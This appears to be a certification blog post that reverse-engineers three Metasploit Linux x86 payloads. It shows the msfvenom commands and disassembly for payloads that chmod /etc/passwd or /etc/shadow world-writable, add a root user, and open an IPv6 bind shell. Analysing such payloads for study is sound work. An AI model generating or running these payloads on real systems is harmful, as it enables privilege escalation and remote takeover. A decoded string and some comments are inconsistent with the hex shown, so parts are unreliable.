SLAE32 - Assignment 5 - MSF Payload Analysis
As a fifth SLAE task, we should take a peek into three different Metasploit payloads of our own choice. MSFvenom is our companion tool , which is part of the metasploit bundle and responsible for generating multi platform shellcodes - more info here.
Here is my selection:
- linux/x86/chmod
- linux/x86/adduser
- linux/x86/shell/bind_ipv6_tcp
1. linux/x86/chmod
So, let’s start with analyzing the ‘chmod’ shellcode.
<b># msfvenom -p linux/x86/chmod --payload-options</b>
Options for payload/linux/x86/chmod:
Name: Linux Chmod
Module: payload/linux/x86/chmod
Platform: Linux
Arch: x86
Needs Admin: No
Total size: 36
Rank: Normal
Provided by:
kris katterjohn <katterjohn@gmail.com>
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
FILE /etc/shadow yes Filename to chmod
MODE 0666 yes File mode (octal)
Description:
Runs chmod on specified file with specified mode
The shellcode takes two mandatory options: the target file option and the permission that are going to be applied to that file. The default target file is /etc/shadow with 666 permission, which grants read+write access to everyone, without any execution liability.
permission to: owner group other
/¯¯¯\ /¯¯¯\ /¯¯¯\
octal: 6 6 6
binary: 1 1 0 1 1 0 1 1 0
what to permit: r w x r w x r w x
</code>
</pre>
We are now going to use it by providing a different filename, but keeping the same permissions set.
<b># msfvenom -p linux/x86/chmod FILE=/etc/passwd MODE=0666 -f raw | ndisasm -u -</b>
No platform was selected, choosing Msf::Linux from the payload
No Arch selected, selecting Arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 36 bytes
00000000 99 cdq
00000001 6A0F push byte +0xf
00000003 58 pop eax
00000004 52 push edx
00000005 E80C000000 call 0x16
0000000A 2F das
0000000B 657463 gs jz 0x71
0000000E 2F das
0000000F 7061 jo 0x72
00000011 7373 jnc 0x86
00000013 7764 ja 0x79
00000015 005B68 add [ebx+0x68],bl
00000018 B601 mov dh,0x1
0000001A 0000 add [eax],al
0000001C 59 pop ecx
0000001D CD80 int 0x80
0000001F 6A01 push byte +0x1
00000021 58 pop eax
00000022 CD80 int 0x80
Our analysis one system call block at a time, so let’s begin with:
00000000 99 cdq ; converts doubleword to quadword,
; Used to zero out EDX with one byte only
00000001 6A0F push byte +0xf ; push syscall 15 (sys_chmod) to the stack
00000003 58 pop eax ; load the syscall into eax
00000004 52 push edx ; push empty edx onto the stack as nullbyte string terminator.
00000005 E80C000000 call 0x16 ; call the code at offset 0x16
So ‘chmod’ syscall has been placed in eax which takes two more arguments. the file pathname and the mode, both saved respectively in EBX and ECX registers.
<b># man 2 chmod</b>
...
int chmod(const char *pathname, mode_t mode);
...
Then the code demands to jump at offset 0x16, which leads us to think that everything between 0x06 and 0x16 is part of a string.
Python interpreter is a handy tool to verify that, and convert the hex opcodes to a string
>>> "2F6574632F70617373776400".decode("hex")
'/etc/passwd\x00'
Great, that’s exactly the path filename we provided earlier to msfvenom. Then we should pickup the code starting from 0x16, and not 0x15, so we shift the remaining code by one byte, after the nullbyte. Which results in:
00000016: 5b pop ebx ; load the filepath into ebx
00000017: 68 b6 01 00 00 push 0x1b6 ; push octal 666 onto the stack
0000001C: 59 pop ecx ; load it into ecx
0000001D: cd 80 int 0x80 ; run it
Which completes our syscall puzzle, by popping our string into EBX, pushing 0x1b6 (666 in octal), loading this value into ECX and finally run the system call.
The last three lines are simply loading the ‘exit’ syscall 0x1 into EAX and gracefully shutdown the whole circus.
0000001F 6A01 push byte +0x1
00000021 58 pop eax
00000022 CD80 int 0x80
0000001F 6A01 push byte +0x1
00000021 58 pop eax
00000022 CD80 int 0x80
2. linux/x86/shell/adduser
I had planned to dissect this second example with Libemu and dot, in order to get some flow visualization.
Unfortunately Libemu does not help us so much since it produces an almost empty output.
We then go back debugging the old way (I will use Libemu in the next and latest example).
This shellcode is responsible for adding a custom zeroed-id (root) privileged user to the /etc/passwd list.
By default the two mandatory parameters, USER and PASS are both set to ‘metasploit’
<b># msfvenom -p linux/x86/adduser --payload-options</b>
Options for payload/linux/x86/adduser:
Name: Linux Add User
Module: payload/linux/x86/adduser
Platform: Linux
Arch: x86
Needs Admin: Yes
Total size: 97
Rank: Normal
Provided by:
skape <mmiller@hick.org>
vlad902 <vlad902@gmail.com>
spoonm <spoonm@no$email.com>
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
PASS metasploit yes The password for this user
SHELL /bin/sh no The shell for this user
USER metasploit yes The username to create
Description:
Create a new user with UID 0
So let’s ndisasm it by providing different parameters:
msfvenom -p linux/x86/adduser USER=matteo PASS=groovy -f raw | ndisasm -u -
00000000 31C9 xor ecx,ecx
00000002 89CB mov ebx,ecx
00000004 6A46 push byte +0x46
00000006 58 pop eax
00000007 CD80 int 0x80
00000009 6A05 push byte +0x5
0000000B 58 pop eax
0000000C 31C9 xor ecx,ecx
0000000E 51 push ecx
0000000F 6873737764 push dword 0x64777373
00000014 682F2F7061 push dword 0x61702f2f
00000019 682F657463 push dword 0x6374652f
0000001E 89E3 mov ebx,esp
00000020 41 inc ecx
00000021 B504 mov ch,0x4
00000023 CD80 int 0x80
00000025 93 xchg eax,ebx
00000026 E824000000 call 0x4f
0000002B 6D insd
0000002C 61 popa
0000002D 7474 jz 0xa3
0000002F 656F gs outsd
00000031 3A417A cmp al,[ecx+0x7a]
00000034 41 inc ecx
00000035 37 aaa
00000036 44 inc esp
00000037 6F outsd
00000038 3830 cmp [eax],dh
0000003A 326836 xor ch,[eax+0x36]
0000003D 56 push esi
0000003E 633A arpl [edx],di
00000040 303A xor [edx],bh
00000042 303A xor [edx],bh
00000044 3A2F cmp ch,[edi]
00000046 3A2F cmp ch,[edi]
00000048 62696E bound ebp,[ecx+0x6e]
0000004B 2F das
0000004C 7368 jnc 0xb6
0000004E 0A598B or bl,[ecx-0x75]
00000051 51 push ecx
00000052 FC cld
00000053 6A04 push byte +0x4
00000055 58 pop eax
00000056 CD80 int 0x80
00000058 6A01 push byte +0x1
0000005A 58 pop eax
0000005B CD80 int 0x80
The first system call is 0x46 (70 in decimal), which is ‘sys_setreuid’ and responsible for gaining root privilege by setting ruid and euid to 0.
xor ecx,ecx ; ecx = 0 (euid - effective uid)
mov ebx,ecx ; ebx = 0 (ruid - real user uid)
push byte +0x46 ; x46 = 70 sys_setreuid sys call
pop eax ; load syscall into eax
int 0x80 ; run it
Now the shellcode is about to invoke the sys_open system call which takes the target file as parameter for EBX (in this case /etc/passwd) and place a mask of 00000100 00000001 into ECX as flags values.
The leftmost bit is set to 1 as per WRITE ONLY flag, and the ‘4’ value in the CH register represents the O_NOCTTY, which is set to improve portability. (more infos here).
push byte +0x5 ; push sys_open (0x5) to the stack
pop eax ; load it into eax
xor ecx,ecx ; clear ecx
push ecx ; push null dword on the stack
push dword 0x64777373 ; push /etc//passwd in reverse order
push dword 0x61702f2f
push dword 0x6374652f
mov ebx,esp ; move stack pointer to ebx
inc ecx ; assign 1 to ecx
mov ch,0x4 ; move 4 to ch so now cx has 4 in ch and 1 in cl
int 0x80 ; run it and open /etc/passwd to append the new user
The next few lines are telling us that we have to skip some code and jump to 0x4F offset
00000025 93 xchg eax,ebx ; eax = 0 after syscall, which it is trasnferred to ebx as stdio FD
00000026 E824000000 call 0x4f ; jumps to 0x4f offset
This makes us thinking that a string could lie in between, so let’s grab everything between offset 0x27 and 0x4e, and convert it to ASCII.
The resulting hex string is ‘6D617474656F3A417A4137446F383032683656633A303A303A3A2F3A2F626
96E2F73680A’, which can be easily converted to a readable format with the aid of python interpreter.
>>> a = "6D617474656F3A417A4137446F383032683656633A303A303A3A2F3A2F62696E2F73680A".decode("hex")
>>> print a
matteo0:/:/bin/sh
And it turned out to be our custom username, plus a DES hashed password. (as a proof of concept, John The Ripper can be used to crack the aforementioned line)
Now, let’s trim everything in between and disassemble again. Ndisasm has a nice ‘-k’ option to skip a predefined offset, by providing the starting point and the length, both in base 10. We want to avoid everything from 0x2B (43 in dec) to 0x4E (79 in dec), so: 0x4F-0x2B = 0x23 (36)
#msfvenom -p linux/x86/adduser USER=matteo PASS=groovy -f raw | ndisasm -u -k 43,36 -
00000000 31C9 xor ecx,ecx
00000002 89CB mov ebx,ecx
00000004 6A46 push byte +0x46
00000006 58 pop eax
00000007 CD80 int 0x80
00000009 6A05 push byte +0x5
0000000B 58 pop eax
0000000C 31C9 xor ecx,ecx
0000000E 51 push ecx
0000000F 6873737764 push dword 0x64777373
00000014 682F2F7061 push dword 0x61702f2f
00000019 682F657463 push dword 0x6374652f
0000001E 89E3 mov ebx,esp
00000020 41 inc ecx
00000021 B504 mov ch,0x4
00000023 CD80 int 0x80
00000025 93 xchg eax,ebx
00000026 E824000000 call 0x4f
0000002B skipping 0x24 bytes
0000004F 59 pop ecx
00000050 8B51FC mov edx,[ecx-0x4]
00000053 6A04 push byte +0x4
00000055 58 pop eax
00000056 CD80 int 0x80
00000058 6A01 push byte +0x1
0000005A 58 pop eax
0000005B CD80 int 0x80
Looks better, isn’it? And we can now jump back to what we have left:
xchg eax,ebx ; stores FD 0 (standard input) to ebx
call 0x4f ; jump to 0x4f and store the content onto the stack
pop ecx ; save in ecx the pointer to '/etc/passwd'
mov edx,[ecx-0x4] ; edx stores the string length (0x2B-0x04)
push byte +0x4 ; eax set to write syscall (0x4)
pop eax
int 0x80 ; run it
push byte +0x1 ; and exit gracefully
pop eax
int 0x80
3.linux/x86/shell/bind_ipv6_tcp
As a third and last example, we are finally going to demonstrate how libemu and dot can be a powerful tool when combined.
But first, we take a look at default msfvenom parameters:
# msfvenom -p linux/x86/shell/bind_ipv6_tcp --payload-options
Name: Linux Command Shell, Bind IPv6 TCP Stager (Linux x86)
Module: payload/linux/x86/shell/bind_ipv6_tcp
Platform: Linux
Arch: x86
Needs Admin: No
Total size: 120
Rank: Normal
Provided by:
skape <mmiller@hick.org>
kris katterjohn <katterjohn@gmail.com>
egypt <egypt@metasploit.com>
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
LPORT 4444 yes The listen port
RHOST no The target address
Description:
Spawn a command shell (staged). Listen for an IPv6 connection (Linux
x86)
This shellcode takes only the local port as a mandatory parameter.
msfvenom -p linux/x86/shell_bind_ipv6_tcp --arch x86 --platform linux R | sctest -vvv -Ss 1000000 -G linux_x86_bindshell_ipv6_tcp.dot
int socket (
int domain = 10;
int type = 1;
int protocol = 0;
) = 14;
int bind (
int sockfd = 14;
struct sockaddr * name = {
};
int addrlen = 28;
) = 0;
int listen (
int s = 14;
int backlog = 4288422;
) = 0;
int accept (
int sockfd = 14;
sockaddr_in * addr = 0x00000000 =>
none;
int addrlen = 0x00000000 =>
none;
) = 19;
int dup2 (
int oldfd = 19;
int newfd = 14;
) = 14;
int dup2 (
int oldfd = 19;
int newfd = 13;
) = 13;
int dup2 (
int oldfd = 19;
int newfd = 12;
) = 12;
int dup2 (
int oldfd = 19;
int newfd = 11;
) = 11;
int dup2 (
int oldfd = 19;
int newfd = 10;
) = 10;
int dup2 (
int oldfd = 19;
int newfd = 9;
) = 9;
int dup2 (
int oldfd = 19;
int newfd = 8;
) = 8;
int dup2 (
int oldfd = 19;
int newfd = 7;
) = 7;
int dup2 (
int oldfd = 19;
int newfd = 6;
) = 6;
int dup2 (
int oldfd = 19;
int newfd = 5;
) = 5;
int dup2 (
int oldfd = 19;
int newfd = 4;
) = 4;
int dup2 (
int oldfd = 19;
int newfd = 3;
) = 3;
int dup2 (
int oldfd = 19;
int newfd = 2;
) = 2;
int dup2 (
int oldfd = 19;
int newfd = 1;
) = 1;
int dup2 (
int oldfd = 19;
int newfd = 0;
) = 0;
int execve (
const char * dateiname = 0x00416f8a =>
= "/bin//sh";
const char * argv[] = [
= 0x00416f82 =>
= 0x00416f8a =>
= "/bin//sh";
= 0x00000000 =>
none;
];
const char * envp[] = 0x00000000 =>
none;
) = 0;
And now we can convert the .dot file into a nice readable graph.
# dot linux_x86_bindshell_ipv6_tcp.dot -Tpng -o linux_x86_binshell_ipv6_tcp.png
We can dissect the shellcode the following way:
- Create a socket with ‘socket’ syscall(0x66).
- Bind the socket to localhost (IPv6 AF is 0x10).
- Accept connections via the ‘listen’ syscall.
- Wait for a connection and accept it, create a new file descriptor from it, and invoking ‘accept’ syscall.
- Redirect stdin, stdout, stderr to the socket via dup2 syscall.
- Spawn a bindshell via execve.
My assignment code can be found:
here
This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:
http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/
Student ID: PA-5837